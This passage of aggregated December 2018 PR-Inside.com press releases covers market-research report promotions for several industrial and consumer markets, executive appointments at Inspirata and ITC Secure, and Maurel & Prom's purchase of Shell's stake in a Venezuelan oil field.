industry. While dealing with gases, it is of prime importance to maintain flow rates and supply pressure and regulate the flow. These factors bring gas pressure regulators in the picture as a crucial part of various industries, such as chemical, healthcare and oil & gas, among others. Gas pressure regulators not only regulate the flow rates and pressure but also reduce the need for pressure compensating meters, as they can hold steady pressure. These regulators can be small or large depending upon the type of application. Prominent application areas of gas pressure regulators are natural gas distribution, boiler gas supplies, plant air services, oxygen supply, ammonia supply, furnaces and ovens. The market for gas pressure regulators is estimated to witness steady growth from both, upcoming projects and replacement demand from existing installed pipelines.Gas Pressure Regulator Market: DynamicsGrowth of the gas pressure regulator market can directly be co-related with the performance of end use industries, such as oil & gas, energy generation and chemical. The market is also projected to witness significant investment by manufacturers in product innovation and development. Government investment in the establishment of new oil & gas and energy generation facilities and maintenance of existing ones will be a key growth driver. The market for gas pressure regulators is estimated to witness stringent safety regulations over the forecast period. Although replacement demand will play a major role in market growth, declining replacement rates of gas pressure regulators and fluctuating performance of some key end-use industries are anticipated to restrain the growth of the global gas pressure regulator market. Existing price pressures on dealers and distributors are also projected to be key restraining factors for this market.Request Report Sample@ https://www.persistencemarketresearch.com/samples/18322 Gas Pressure Regulator Market: SegmentationThe global gas pressure regulator market can be segmented on the basis of gas type, product type and end-use industry.By gas type, the global gas pressure regulator market can be segmented into:Toxic GasesCorrosive GasesInert GasesBy product type, the global gas pressure regulator market can be segmented into:Single StageDual StageBy Application, the global gas pressure regulator market can be segmented into:CommercialIndustrialBy end-use industry, the global gas pressure regulator market can be segmented into:Oil & GasChemicalHealthcarePower GenerationOther ManufacturingGas Pressure Regulator Market: Regional OverviewAsia Pacific is projected to dominate the global gas pressure regulator market in terms of demand. China is expected to be a key market with a dominant market share throughout the forecast period. Strong growth of the manufacturing sector in key countries, such as India will supplement growth of the gas pressure regulator market in the Asia Pacific region. Europe and North America are projected to be the next big markets in terms of demand for gas pressure regulators. Europe is expected to have a relatively high growth rate as compared to North America. Within Europe, significant demand for gas pressure regulators will be from the western region and Eastern European countries, such as Russia and Poland are slated to witness slight fluctuation in terms of demand. The Middle East and Africa region will register significant demand for gas pressure regulators from oil & gas and chemical industries. The Latin America gas pressure regulator market is also pegged to witness healthy growth over the forecast period.Visit For TOC@ https://www.persistencemarketresearch.com/toc/18322 Gas Pressure Regulator Market: Market ParticipantsExamples of some of the market participants identified in the global gas pressure regulator market are Honeywell International Inc., Emerson Electric Co, The Linde Group, Praxair Inc., Colfax Corporation, Maxitrol Company, GCE Group, Cavagna Group SPA, Air Products and Chemicals Inc., Air Liquide, Airgas Inc., Equipment & Controls, Inc. and Pressure Tech Ltd. Persistence Market Research announced the addition of the Global Behenyl Alcohol Market to Register a Robust Growth Rate During the Forecast Period" report to their offering. Persistence Market Research PR-Inside.com: 2018-12-20 09:37:13 Press Information Persistence Market Research Persistence Market Research 305 Broadway 7th Floor, New York City, NY 10007, United States, USA Canada Toll Free: 800-961-0353 Yogesh Sengar Team Lead 800-961-0353 email http://www.persistencemarketresearch.com # 620 Words Persistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA Canada Toll Free: 800-961-0353Team Lead800-961-0353 According to the latest market report published by Persistence Market Research titled Global Market Study on Behenyl Alcohol: Asia Pacific to Witness Highest Growth by 2021, the global behenyl alcohol market to expand at a CAGR of 4.5% during the forecast period, 2015 2021.Behenyl alcohol (CAS: 661-19-8), often referred to as docosanol, is a saturated fatty alcohol used to thicken and stabilise formulations. It is categorised on the basis of purity level. Behenyl alcohol with the purity level of 70% is most commonly used. However, behenyl alcohol with purity over 80% is very rarely used. Behenyl alcohol accounted for a mere 1.4% share of the overall fatty alcohols market, and for 14% share of the overall C16+ fatty alcohols market in 2014.Request Report Sample@ https://www.persistencemarketresearch.com/samples/6976 Global behenyl alcohol market is projected to account for 54,200.9 metric tons by the end of 2021. In terms of value, the global behenyl alcohol market accounted for US$ 119.4 Mn in 2014. It is projected to witness the increase in volume due to rising demand from end-use segments.The report analyses the global behenyl alcohol market in terms of market value (US$ Mn) and market volume (metric tons), by end-use segment, region and application; and provides information regarding market dynamics, value chain, competitive landscape, current trends, market estimations and forecast.Globally, Asia-Pacific is expected to dominate the market throughout the forecast period and is projected to witness a 1.4X increase in its volume production by the end of 2021. While Japan and India are two major exporters of behenyl alcohol chemicals globally, South Korea is one of the key importers of behenyl alcohol in Asia Pacific. In Asia Pacific, India is the largest producer of rapeseed and behenyl alcohol. A large number of companies based in the country export rapeseed to North America, Europe and other parts of Asia. Sun care products are widely used in Asia Pacific. It accounted for nearly US$ 2.2 Bn in 2014. The increase in demand for sun care products, in turn, is expected to boost overall demand for behenyl alcohol globally. Though the market is gaining traction in Asia-Pacific, low presence of Chinese players in the behenyl alcohol market has significantly reduced price competitiveness among the companies based in Japan, India and Europe. As a result, manufacturers are expected to generate high-profit margins in the Asia Pacific region. Europe is the next lucrative destination for behenyl alcohol manufacturers.Among the end-use segments, behenyl alcohol finds the largest application in the cosmetics industry, followed by pharmaceuticals and others. The pharmaceuticals end-use segment is expected to gain traction in the near future due to increasing demand for behenyl alcohol in ointments. Increasing demand for high-quality cosmetic products is influencing manufacturers to opt for high-quality ingredients such as behenyl alcohol, which has a relatively non-sticky property as compared to other ingredients.Globally, per capita consumption of cosmetics is increasing at a rate of 3.4% per year. Per capita consumption of cosmetics is expected to grow exponentially in the near future due to a significant rise in geriatric population, especially in Japan and China.Request For Report Table of Content (TOC)@ https://www.persistencemarketresearch.com/methodology/6976 By application type, the behenyl alcohol market is segmented into emollients, emulsifiers, thickeners and others. The emollients segment is expected to dominate the overall behenyl alcohol market by the end of the forecast period, i.e. by 2021. The segment is projected to register an above average growth rate over the forecast period. Global consumption of emollients stood at 130,000 metric tons in 2014. Consumption of behenyl alcohol as an ingredient in emollients accounted for a significant proportion of the total emollients consumed globally.Key market participants covered in the report include BASF SE, Kao Corporation, VVF Chemicals Limited, Godrej Industries Ltd., Sasol Ltd. and Nikko Chemicals Co., Ltd. Persistence Market Research has announced the addition of the Cognac Market to Register Steady Expansion During 2017 2025" report to their offering. Cognac Market PR-Inside.com: 2018-12-20 10:43:40 Press Information Persistence Market Research CONTACT: Persistence Market Research 305 Broadway 7th Floor, New York City, NY 10007, United States, USA Canada Toll Free: 800-961-0353 Email: sales@persistencemarketresearch.com Web: http://www.persistencemarketresearch.com yogesh sengar team lead 800-961-0353 email http://www.persistencemarketresearch.com # 767 Words CONTACT:Persistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb: http://www.persistencemarketresearch.comteam lead800-961-0353 Cognac is a type of brandy which is produced by double distillation of white wines and by aging. It is a high-end product and depending on the time period taken by the brandy for aging, different varieties are available. The cognac market is projected to grow in regions where consumers are exploring more luxury alcoholic beverages. Consumer demand for more delicate, flavored and refined brandy is expected to fuel the growth of the cognac market in the forecast period. As compared to its competitor whiskey, cognac offers a more fruitful flavor, which is a unique driver, fuelling the growth of the cognac market.Cognac Market: SegmentationThe cognac market can be segmented on the basis of type and distribution channel.On the basis of type the cognac market is segmented as XO (extra old), VS (Very special), VSPO (Very Superior Pale Old) and others. The segmentation is based on the aging period taken by the cognac after distillation. The others segment for the cognac market includes cognac which requires a larger time span for its aging or are sometimes available as blends of different cognac.On the basis of the distribution channel, the cognac market can be segmented on the basis of store-based retailing and online retail. The store-based retailing can be further segmented into modern grocery retail and traditional grocery retail. The modern grocery retail can be segmented as hypermarkets/supermarkets, convenience stores, and discount stores. The traditional grocery retailing can be further segmented as specialty stores, liquor stores, and others.Request For Report Sample @ https://www.persistencemarketresearch.com/samples/21499 Cognac Market: Drivers, Restraints, and TrendsThe cognac market is currently experiencing a revival in the world. After declining sales in the past decade, the cognac market is suddenly witnessing growth in some regions of the world. Cognac is popular amongst consumers as a traditional cocktail ingredient. It is also known that unlike other alcoholic beverages, cognac does not promote a headache. These are distinguishing factors of cognac and likely to boost the growth of the cognac market. The VS cognac makes up the highest share in the cognac market. The trend observed with cognac is that nowadays it is consumed with food or as a cocktail mix. The Cognac Summit, an organization which was formed as a result of collaboration between Bureau National Inter professionel du Cognac (BNIC) and international bartenders, is a macroeconomic factor which has contributed to the revival of the cognac market. Many other macroeconomic factors like the ban on drinking and gift-giving have also influenced the ups and downs of the cognac market. Recently, many key players had announced that the consumer demand for cognac has outstripped their production capacities, which is a clear indicator of the growth of cognac market. The U.S. and Chinese markets are the largest contributors to the growth of the cognac market. Growth in personal consumption of alcoholic beverages in regions like China is also expected to boost the growth of the overall cognac market.Cognac Market: Regional OutlookIn North America, the trend in the cocktail industry and the usage of cognac as a cocktail ingredient is a major factor in fuelling the growth cognac market, as the U.S. is a very potential market for cognac. In Asia Pacific, China is the biggest market for cognac as the imports and exports of cognac were greatly affected by Chinas macroeconomic conditions. Apart from China, India and Japan are also expected to contribute to the growth of the cognac market. In Europe, cognac is mostly consumed as a high-end product and the cognac market is expected to have a very slow growth or remain almost static in the forecast period. In the Middle East and Africa, the cognac market is expected to grow steadily despite declining economies.Cognac Market: Key PlayersPernod Ricard SAJas Hennessy & Co.Novovino Wine CompanyBranded Spirits USABeam Suntory, Inc.PIERRE LECAT SASMeukow CognacRemy CointreauThe report covers exhaustive analysis on:Cognac Market SegmentsCognac Market DynamicsHistorical Actual Market Size, 2015 2016Cognac Market Size & Forecast 2017 to 2025Supply & Demand Value ChainCognac Market Current Trends/Issues/ChallengesCompetition & Companies involvedTechnologyValue ChainCognac Market Drivers and RestraintsRegional analysis for Cognac Market includes:North AmericaLatin AmericaEuropeAsia PacificThe Middle East and AfricaReport Highlights:Shifting Industry dynamicsIn-depth market segmentationHistorical, current and projected industry size recent industry trendsKey Competition landscapeStrategies for key players and product offeringsPotential and niche segments/regions exhibiting promising growthA neutral perspective towards market performanceDownload Table Of Content @ https://www.persistencemarketresearch.com/toc/21499 PR-Inside.com: 2018-12-20 10:38:00 Press Information Persistence Market Research 305 Broadway 7th Floor, New York City, NY 10007, United States, Telephone - +1-646-568-7751 USA Canada Toll Free: 800-961-0353 Email: sales@persistencemarketresearch.com Web: http://www.persistencemarketresearch.com Yogesh Senger Manager 6465687751 email https://www.persistencemarketresearch.com # 703 Words 305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb: http://www.persistencemarketresearch.comManager6465687751 Guava fruit is indigenous to Latin American countries such as Mexico and Peru. Due to its high nutritional value and varied use in processed products, guava is considered an important fruit in tropical and subtropical countries including India and Pakistan. Guava paste/puree is guava that has been cut, pulped, deseeded, refined and homogenized into a creamy liquid. In Europe and the U.S., guava is most popular as a flavoring ingredient and beverages industry in these regions have the high focus of guava puree, while the consumption of fresh guava fruit remains low. Most of the trade that occurs is in processed guava form namely puree and concentrate. The pink variety of guava is often preferred for nectars preparation and the white variety preferred for blends. Both puree and concentrate form may be found in sweet and sour format and can range from white to deep pink color. Overall, guava puree/pulp is used to produce guava nectar, juice, concentrate jam, and jelly.Guava Puree Market SegmentationProduction of guava is majorly concentrated in India, Pakistan, Brazil, and Mexico. Other producing nations include China, Bangladesh, Thailand, Vietnam, Malaysia, Philippines, Cuba, Israel, Sri Lanka, Sudan, South Africa, the Dominican Republic, El Salvador, Guatemala, Colombia, Peru, Suriname, and Venezuela. Most of the fruit that is produced is being consumed in the country of origin as fresh fruit. The majority of trade that occurs is in the form of puree and concentrate form. The processed form of guava is mainly traded from countries such as Mexico and Brazil, where most of the processing is destined for juice production. US Imports of guava paste/puree have been relatively stable in the last five years the flow of trade is mostly from Brazil and Dominican Republic. Ecuador is the top supplier of guava prepared/preserved to the U.S. and European markets, though its market share has slowly declined with an increase in competition. Mexico the main supplier of fresh guavas has recorded growth in demand in the processed guava puree segment, this significant growth is mainly fuelled by European demand for paste/puree. Costa Rica and El Salvador exports processed guava product to the U.S and Europe have also reported an increase.Guava puree is segmented on the basis of source and end use. Based on the source guava puree is segmented as organic guava puree and conventional guava puree.On the basis of end use, guava puree is segmented as; infant food, beverages, bakery & snacks, ice-cream & yogurt, dressings and sauces and others.Request for Report Sample : https://www.persistencemarketresearch.com/samples/20257 Guava Puree Market Global Market Trends and Market Drivers:A lack of supply, failing to meet the demand for guava puree in the late 2015 lead to an increase in guava puree prices. These prices remained high with very little deviation in early 2016. The majority imports took place in form of guava pulp/puree and concentrate.Food companies are producing snacks made from purees, for kids and infants. These snacks usually have a high quantity of grains or sugar with a hint of puree, which gives the snack its color and taste. For instance, Clif Bar & Company, a U.S.-based food company, has launched a new snack under the name Zbar, which is made of grain, fruit puree, and vegetable powder. The company claims that this fruit bar is organic and does not contain any GMO products. In APAC countries, processed food products demand is growing with a massive increase regarding growth rate. Many processed food products are produced from purees, which give an edge to the puree market against other fruits. People living in urban areas have a fast-paced life and tend to buy prepared foods and beverages from stores which are convenient and time-saving. Lifestyle itself is creating a strong market for the processed food and beverages market and is thus helping the food ingredients market grow, which includes purees.Guava Puree Market Key Players:Some of the key manufacturers of guava puree include; ITC Limited, Dohler GmbH, Kiril Mischeff, Capricorn Food Products India Ltd., Aditi Foods India Pvt. Ltd., Superior Foods, Inc., Citrofrut S.A. de C.V., among others.Request for Report TOC : https://www.persistencemarketresearch.com/toc/20257 PR-Inside.com: 2018-12-20 14:01:03 With a diverse background in the healthcare market, Greg will work with Inspiratas senior leadership team on the strategic positioning of the company. Tampa, FL, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Cancer informatics and digital pathology workflow solution provider Inspirata, Inc. announced today that healthcare technology product and marketing leader, Gregory (Greg) Tennant, has joined Inspirata as Chief Strategy and Marketing Officer, effective December 3, 2018. Based in the companys headquarters in Tampa, Florida, Greg is responsible for leading the companys strategic planning and investments in conjunction with Inspiratas CEO, Satish Sanan. Greg is also responsible for driving Inspiratas go-to-market strategy and overall branding strategy. Greg is a growth-oriented healthcare technology product and marketing strategist. He has 8+ years as CEO, has led revenue growth of $525M+ and successfully led multiple companies to market leadership positions. Greg has a wealth of experience in strategic planning, brand development and marketing, particularly in the healthcare sector, says Chairmen and CEO, Satish Sanan. He has developed and marketed dozens of offerings to the healthcare market, successfully repositioned companies, and has a strong knowledge of healthcare compliance and quality requirements. Prior to joining Inspirata, Greg led corporate and product marketing at DrFirst, where he supported multiple sales channels to achieve record company growth and used state-of-the-art digital targeting and outbound sales platforms to launch two mobile solutions. Greg holds a degree in Economics and Business Management from Cornell University and Executive MBA Certifications from Cornell Johnson School of Management and Duke University Fuquay School of Business. Gregs command of competitive positioning, enterprise technology and the healthcare industry, combined with his impressive abilities in marketing and leadership enable him to provide effective strategies that will further Inspiratas market leadership, says Inspirata CEO Satish Sanan. About Inspirata, Inc. Inspirata, Inc. offers the most comprehensive cancer diagnostics workflow solution available for precision diagnosis today. The solution, which employs a unique solution-as-a-service business and delivery model, accelerates anatomic and molecular pathology workflows and facilitates whole slide imaging and image analytics, prognostic and predictive assays, remote consultations and tumor boards. This comprehensive solution includes an Enterprise Service Bus (ESB) to help to solve interoperability issues and a Natural Language Processing Engine (NLP) for structuring data. Inspirata amalgamates this structured data into a central multi-institutional and multi-modal big data cancer repository for clinical, research and educational purposes. Its use will extend to physicians, patients, researchers and pharma among others. This comprehensive solution facilitates a modern precision diagnosis to build a strong foundation for precision medicine. For more information, please visit www.inspirata.com or contact info@inspirata.com. All trademarks used herein are the property of their respective owners. For further information about Inspirata, please contact: Research Report Insights PR-Inside.com: 2018-12-20 19:42:29 Press Information Research Report Insights Research Report Insights 42 joseph street, Portcarling P0B 1J0, Muskoka, Ontario T: +1-631-721-4201 Vikas Bahurupi Manager 6317214201 email https://www.researchreportinsights.com # 594 Words Research Report Insights42 joseph street,Portcarling P0B 1J0,Muskoka, OntarioT: +1-631-721-4201Manager6317214201 Research Report Insights (RRI) delivers key insights on the Europe & Asia Pacific herbal beauty products market in its upcoming outlook titled, Europe & Asia Pacific Herbal Beauty Products Market: Industry Analysis and Opportunity Assessment, 20162026. In terms of value, Europe & Asia Pacific herbal beauty products market is expected to expand at a CAGR of 3.7% during the forecast period due to various factors, which RRI offers vital insights into in detail.On the basis of end-use, the Europe & Asia Pacific herbal beauty products market has been segmented into male and female. Female segment is estimated to account for the largest share by 2016 end. Male segment is expected to account for substantial growth over the forecast period. Increasing inclination of male consumers towards personal grooming and outward appearance is expected to support growth of the male segment over the forecast period.Request For Report Sample with Table of Contents@ https://www.researchreportinsights.com/report/sample/110114787/Herbal-Beauty-Products-Market Europe & Asia Pacific herbal beauty products market distribution channel has been segmented into supermarket, specialty stores, departmental stores, drugstores, beauty salons and online/direct selling. Among all these segments, supermarket segment is expected to account for relatively higher value share during the forecast period. Specialty stores segment has been estimated to occupy the second largest share accounting for 21.1% value share in 2015.On the basis of type, Europe & Asia Pacific herbal beauty products market has been segmented into hair care, skin care, fragrance and oral care. Among all these, skin care segment has been estimated to represent highest value share of 45.7% in 2016 and is expected to remain dominant over the forecast period. Increasing acne issues owing to increasing humidity and pollution levels is expected to drive growth of the skin care segment in the market in the region during the forecast period. Skin care segment is further sub-segmented as cleanser & toner, cream & lotion, face wash & scrub and others. Among all these sub-segment, cream and lotion is expected to account for major value share over the forecast period. Hair care segment is predicted to occupy second largest position of the pie in terms of revenue contribution. Hair care segment is further sub-segmented as hair oil, powder, shampoo, conditioner and others. Oral care segment is expected to represent substantial growth over the forecast period. The segment is projected to represent CAGR of 3.1% in terms of value growth by 2026 end.Request For Report Discount@ https://www.researchreportinsights.com/report/discount/110114787/Herbal-Beauty-Products-Market Increasing adoption of products with naturally-derived herbal ingredients for acne, skin and hair problems especially in Asia Pacific region is expected to further drive demand for herbal beauty products market in Europe and Asia Pacific over the forecast period. In addition, availability of wide range of herbal cosmetics in retail outlets coupled with regular launch of new and innovative herbal beauty products by the manufacturers is expected to fuel the market growth during the forecast period.Shifting consumer preference towards Green Label cosmetic products that promote healthy skin and hair and enhance beauty to increase Europe & Asia Pacific herbal beauty products market value from US$ 1,727.0 Mn in 2015 to US$ 2,571.2 Mn by 2026: Research Report InsightsThis report discusses trends driving growth of each segment and offers analysis and insights of the potential of the Europe & Asia Pacific herbal beauty products market in specific regions including Europe and Asia Pacific (APAC). Markets in APAC are expected to record high growth rates in terms of value between 2016 and 2026. Japan has been estimated to be the largest consumer of herbal beauty products followed by China in 2015 across the APAC region.Report Analysis@ https://www.researchreportinsights.com/report/rd/110114787/Herbal-Beauty-Products-Market PR-Inside.com: 2018-12-20 16:36:38 Press Information Future Market Insights 616 Corporate Way, Suite 2-9018, Valley Cottage, NY 10989, United States T: +1-347-918-3531 F: +1-845-579-5705 Amir Shaikh SEO Manager 3479183531 email https://www.futuremarketinsights.com # 659 Words 616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705SEO Manager3479183531 Home Healthcare Software is the most evolving and cutting-edge technology in the healthcare industry in the recent years. In the past decade, medical documentation was not only difficult to maintain, but also time consuming. It involved a lot of paper work to maintain patient and clinical records.Home Healthcare solutions are extremely user friendly solutions that provides error free healthcare information which increases the operational efficacy and also enables home care agencies and physicians to communicate effectively to provide quality care to the patients. These solutions provides all healthcare professionals with real time information to deliver superior patient care.These specially designed softwares are used for maintaining patient electronic medical records, medication history, billing records, scheduling, and point-of-care clinical documentation.Home Healthcare Software Market: DriversToday, aging population is a key factor for driving home healthcare software market. With the advancement of technology and growing adaptation of home healthcare based solutions. There is a pressure to reduce healthcare cost, patient readmission and increase in the quality of care in home care settings. These solutions are cost effective, ease of use and provides error free medical information. With this cutting edge technology and remarkable investments from the stakeholders, this market is expected to create a better business opportunities in the coming years.Home Healthcare Software Market: SegmentationBased on the commercially available software products, global home healthcare software market is segmented as follows:Hospice SystemsAgency Software SystemsTele-Health SystemsClinical Management SystemsFurthermore, the global home healthcare software market is classified based on usage mode as:Non Clinical Homecare SystemsClinical Homecare SystemsBased on the delivery mode, the global home healthcare software market is segmented as follows:Cloud-based softwareOn-premises softwareWeb- based softwareThe major end-uses of this market include:Private dutyHospice agenciesHomecare agenciesOthersCloud based software segment is currently growing at a faster rate due to its offered advantage of data storage and accessibility. Tele-Health Systems is the fastest growing product segment among other commercially available home healthcare software products.Home Healthcare Software Market: OverviewWith rapid acceptance of technology and taking into account the above mentioned drivers and other macroeconomic factors, it is expected to grow at a rate of around 13-15% in the forecast years (2015-2025). The home healthcare software market will reach four times by 2025. There was an immense demand for home healthcare software in the recent past and as per our estimates, it will witness further growth in the forecast years as well. The emphasis of using such kind of systems by different healthcare agencies has prompted companies to focus more on the existing technologies and products.Home Healthcare Software Market: Regional OutlookGeographically, the global home healthcare software market is segmented into North America, Latin America (LATAM), Western Europe, Eastern Europe, Asia Pacific excluding Japan (APEJ), Japan and Middle East and African regions. At present, North America dominates the global home healthcare software market followed by Western Europe. Factors such as existence of highly developed healthcare infrastructure, rapid adoption of advanced technologies and higher rate of implementation of innovative technology in the practice are driving the North America home healthcare software market towards growth. Asia-Pacific is lucrative market for home healthcare software due to the easy availability of skilled manpower, innovations and highly developed information technology sectors in the emerging countries mainly China and India. India accounts for second largest population pool in the world. With aging of population in country like India, the prevalence of chronic diseases will be higher, which will result in higher patient population and thus demand for home healthcare software to grow more in such country.Request Sample Report @ https://www.futuremarketinsights.com/reports/sample/rep-gb-481 Home Healthcare Software Market: Key PlayersSome of the major companies contributing to the global home healthcare software market are Agfa Healthcare, NextGen Healthcare Information System LLC, Cerner Corporation, GE Healthcare, MEDITECH, Mckesson Corporation, Medical Information Technology, Inc. (Meditech), Siemens Healthcare and Allscripts Healthcare Solutions, Inc. Precision Bearing PR-Inside.com: 2018-12-20 05:05:18 Press Information Future Market Insights Contact Us U.S. Office 616 Corporate Way, Suite 2-9018, Valley Cottage, NY 10989, United States T: +1-347-918-3531 F: +1-845-579-5705 Email: sales@futuremarketinsights.com Web: https://www.futuremarketinsights.com/ https://www.futuremarketinsights.com/ Manager 3479183531 email https://www.futuremarketinsights.com/ Published by Vijay Kundekar 13479183531 e-mail https://www.futuremarketinsights.com # 628 Words Contact UsU.S. Office616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWeb: https://www.futuremarketinsights.com/Manager3479183531Vijay Kundekar13479183531 A precision bearing is type of bearing which is manufactured according to the set standards given by Annular Bearing Engineering Committee (ABEC) of the American Bearing Manufacturers Association (ABMA). According to the tolerance of a bearing it is classified under ABEC scale from the largest to the smallest tolerance bearing. There are five classes in ABEC standard scale such as, ABEC 1, ABEC 3, ABEC 5, ABEC 7, and ABEC 9. The high class precision bearing provides, greater speed capabilities, and better efficiency.Furthermore, the precision bearing have applications in many end-use industries. High class precision bearing is used in aerospace industry, and other class precision bearing is used for majority of applications in different industries such as, automotive industries, marine industry, infrastructure and transportation industry etc. Additionally, the precision bearing comes in different types as per the requirement and end-use application such as, ball bearing, roller bearing and spherical bearing are some of the major types of precision bearing.Request For Report Sample @ https://www.futuremarketinsights.com/reports/sample/rep-gb-8057 Precision Bearing Market: Dynamics:The precision bearing is an essential component for a machinery or equipment and widely used in different industries. In the growing aerospace industry the demand of machinery and equipment with precise dimensional specifications, better tolerance and efficiency is increasing, which is expected to push the demand of precision bearing over the forecast period. Increasing industrial machinery and automation require new precision bearing for better performance and work output. Additionally, the globally increasing vehicle production is projected to increase the growth of precision bearing market over the forecast period.Furthermore, the technological innovations and increasing reliability in precision bearing and increasing adoption of high end technologies and growing industrial automation is expected to create new opportunities for the precision bearing in the global market over the forecast period.However, there are other alternative products are coming in the market for precision bearing. The increasing counterfeit products for precision bearing is anticipated to hamper the growth of the precision bearing market over the forecast period.Precision Bearing Market: Segmentation:Precision bearing market can be segmented into product type, ABEC scale, end-use industries, and region.On the basis of product type, global precision bearing market is segmented into:Ball BearingsBall Screw Support BearingsAngular Contact Ball BearingsPrecision Deep Groove Ball BearingsPrecision Steel Ball Bushing BearingsRoller BearingsCylindrical Roller BearingsSpherical BearingsOn the basis of ABEC scale, global precision bearing market is segmented into:ABEC 1ABEC 3ABEC 5ABEC 7ABEC 9On the basis of end-use industries, global precision bearing market is segmented into:Aerospace IndustryAutomotive IndustryOil & Gas IndustryMarine IndustryInfrastructure and Transportation IndustryPrecision Bearing Market: Regional Outlook:Asia Pacific region is expected to have a prominent growth in the precision bearing market over the forecast period owing to increasing automotive and aerospace industries in the that region. China, India, Japan etc. is expected to register significant growth in the precision bearing market due to growing industrial automation and increasing demand of industrial machinery. Furthermore, increasing demand of standard quality products in machinery and equipment due to government regulations about standard quality products are the major factors to drive the growth of precision bearing market in Europe region over the forecast period.North America is expected to register significant growth in the precision bearing market owing to increasing demand of high standard products in aerospace and automotive industries. Middle East & Africa region is anticipated show promising growth in the precision bearing market over the forecast period.Request For Report Table of Content (TOC): https://www.futuremarketinsights.com/toc/rep-gb-8057 Precision Bearing Market: Market Participants:Some of the market participants in the global precision bearing market are:Daido Metal Co., Ltd.Thomson Industries, Inc.GGB Bearing TechnologyNSK Ltd.THE TIMKEN COMPANYSKF GroupJTEKT Corporation PR-Inside.com: 2018-12-20 09:02:03 C5 Capital-backed ITC, announces appointment of Arno Robbertse as new Interim CEO ITC Secure Unveils New CEO ITC Secure Rob Lee rob.lee@itcsecure.com Sophia Casimir sophia.casimir@itcsecure.com ITC Secure (ITC), the specialist cyber advisory and managed security service provider (MSSP) has announced Arno Robbertse as their new Interim CEO, starting on 1st January 2019. He takes over the leadership role from the incumbent William Kilmer, a Managing Partner at ITCs major shareholder, C5 Capital. Arno joined ITC in December 2017 following the acquisition of an industry leading Cyber Consultancy Practice where he was the founder and a Managing Partner. Arno has served on ITCs executive committee during 2018 and successfully led the ITC Cyber Advisory team. He has been instrumental in building the ITC brand and delivering considerable growth across all areas of the business. Andre Pienaar, Founder and Managing Partner at C5 Capital said, "We are delighted that Arno will take on this leadership position. It is particularly pleasing that we are able to announce the advancement of such a strong internal candidate demonstrating our commitment to recognise the talent within ITC." ITCs current Interim CEO, William Kilmer will return to the US on a full-time basis, focusing on his role within C5 Capital. Arno Robbertse, new ITC Interim CEO said, I am very much looking forward to leading and serving this great company of ours. I would like to personally thank William, he has played a key role in enabling the ITC board to develop the business. Through his leadership and guidance, we have laid great foundations for the continued success and growth of ITC. I am delighted to be taking the reins at such an exciting time and look forward to continuing the focus on delivering world class services to our customers and bringing innovative new cyber solutions to the market in the months ahead. END About ITC ITC provides cyber threat advisory and managed security services to help organisations assess, manage and mitigate their risk and ultimately to protect their key data assets and the reputation of their brand. We provide independent assessments and clear, outcome-based recommendations that assist businesses make the right cyber investment choices. From our dedicated secure operations centre in London, we deliver a comprehensive range of managed security services that enable us to detect and respond to cyber events 24x7x365. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005 PR-Inside.com: 2018-12-20 18:05:01 Paris, 20 December 2018 No. 19-18 Maurel & Prom announces the completion of the acquisition of Shell's stake in the Urdaneta West field in Venezuela New milestone in Maurel & Prom's growth strategy in Latin America Urdaneta West field is a producing asset with large reserves and significant upside potential An appropriate organisational and contractual framework has been set up to ensure an efficient redevelopment of the asset and secure payments Etablissements Maurel & Prom (Euronext Paris: MAU, ISIN FR0000051070, "Maurel & Prom") announced in the press release published on 12 October 2018 the signature of a Share Sale and Purchase Agreement (the "SSPA") for the acquisition of Shell Exploration and Production Investments B.V.'s ("Shell") 40% interest as "Shareholder B" in Petroregional del Lago Mixed Company (the "Mixed Company"), which operates the Urdaneta West field in Lake Maracaibo, Venezuela (the "Field"). Further to this publication, Maurel & Prom is delighted to announce that all condition precedents have been satisfied and that the acquisition has been completed. The total consideration for the acquisition of Shell's shares in the Mixed Company is 70 million, funded from Maurel & Prom's existing cash resources and composed as follows: 47 million which have been paid at closing of the transaction, and 23 million payable in December 2019, on the anniversary date of the transaction closing. Maurel & Prom Venezuela, subsidiary of Maurel & Prom, has replaced Shell as Shareholder B in the Mixed Company, with a 40% interest. Petroleos de Venezuela S.A. ("PDVSA"), wholly owned subsidiaries Corporacion Venezolana del Petroleo ("CVP") and PDVSA Social ("PDVSAS") collectively referred to as "Shareholder A", jointly own the remaining 60% stake of the Mixed Company. New milestone in Maurel & Prom's growth strategy in Latin America Michel Hochard, Chief Executive Officer of Maurel & Prom, declared: "This transaction fits Maurel & Prom's growth strategy, focusing on opportunities with significant potential in regions and countries where we have operating experience. It provides us access to an established producing asset in a world class petroleum system, with a potential for significant production improvements. Investments in oil and gas projects require a long term approach, and we expect that jointly with PDVSA and its subsidiaries we will help boost the redevelopment of the Field in the years to come. We have operated in Venezuela in the past and our experience of the region make us confident in the ability to transform this opportunity into a successful project." Producing asset with large reserves and significant upside potential The production of the Field in 2018 is estimated to be around 15,500 barrels of oil per day on a 100% basis (approximately 6,200 barrels of oil per day net to Shareholder B's 40% interest), and there is potential for a swift ramp-up in production. In particular, it is expected that a number of targeted well interventions in the first months of operations could have a significant impact on production. Maurel & Prom will also maintain the efforts which have been deployed over the years to achieve high standards of health, safety, and environmental practices on the Field. As announced in the press release published on 12 October 2018, Maurel & Prom has agreed to a redevelopment plan to increase the production of the Field. The redevelopment plan (amounting to up to c.350 million for the period 2018-2023) will be partly funded by operating cash flow from the asset, and partly with funds advanced by Maurel & Prom Venezuela (the "Project Funding"). In addition to this, the Field offers significant growth optionality through the development of additional resources, and the possible extension of the licence duration beyond its current term in 2026. An appropriate organisational and contractual framework set up to ensure an efficient redevelopment of the asset and secure payments As part of the transaction, a number of contracts have been pre-approved by the Mixed Company in order to ensure the restart of the work programme operations and guarantee a smooth circulation of cash flows. On the operational side, Maurel & Prom Venezuela will provide the Mixed Company with technical assistance through a dedicated structure controlled by Maurel & Prom Venezuela, the "Technical Assistance Company" ("TAC"), registered in Venezuela and established in Maracaibo. In particular, the Technical 